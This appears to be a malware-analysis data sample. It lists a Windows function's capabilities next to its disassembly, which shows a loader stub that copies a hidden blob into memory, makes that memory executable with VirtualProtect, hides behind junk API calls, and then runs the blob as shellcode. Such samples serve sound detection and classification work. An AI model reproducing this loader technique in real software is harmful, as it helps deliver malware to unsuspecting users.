Function at 0x401600
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41278b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1038
call fcn.00407b00
mov ecx, dword [0x1a74140]
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x4016f3
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetMenu]
xor eax, eax
push ebx
btr dword [eax], 0
lea eax, [esp + 0x444]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x4186b4
push ebx
call fcn.00403b60
push ebx
call fcn.00403f2c
add esp, 0xc
lea ecx, [esp + 0xc]
push str.bad_exception
call fcn.00401080
lea ecx, [esp + 0xc]
call fcn.0040109c
push ebx
call fcn.004039c3
pop ecx
push ebx
call fcn.0040424a
pop ecx
push ebx
call fcn.004039c3
mov dword [esp], 0x4186c8
call fcn.004039ed
pop ecx
lea ecx, [esp + 0xc]
call fcn.00401ccf
lea eax, [esp + 8]
mov dword [esp + 0x104c], ebx
push eax
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], ebx
call fcn.00401cdc
or dword [esp + 0x104c], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.00401d09
mov ecx, dword [0x1a74140]
mov eax, dword [0x41b3b0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x1a74144], eax
mov dword [0x1a74140], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x1c]
mov dword [0x1a740ac], eax
push ecx
push 0x40
push dword [0x1a74140]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0xa90ee
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x40172f
mov edx, dword [0x1a74140]
mov esi, ebx
test edx, edx
je 0x4017ad
mov eax, dword [0x1a74144]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x1a740ac]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x4017a8
push str.jatupukuxijisovi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push str.lifajojipinapamumibebojewaxub
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
push eax
push ebx
lea eax, [esp + 0x458]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [0x1a74140]
inc esi
cmp esi, edx
jb 0x401744
mov esi, ebx
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4017f1
push str.dubake
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push ebx
lea eax, [esp + 0x10]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push ebx
push ebx
push str.wuvoja
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x1a74140]
inc esi
cmp esi, 0x38681
jl 0x4017af
push ecx
call fcn.004015bd
mov esi, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x62
jne 0x401813
call fcn.004015e4
inc esi
cmp esi, 0x674db
jl 0x401802
push 0x7b
pop esi
cmp dword [0x1a74140], 0x86
jne 0x401865
push str.busamo
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push ebx
push str.lojogihiwunaliriko
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0x24]
push eax
push str.tohudihujamagoboduyocabitit
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0xc44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x1a74140], 0xf
jne 0x401878
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x40181f
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x1a740ac]
mov dword [0x1a74134], eax
call eax
mov ecx, dword [esp + 0x1044]
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret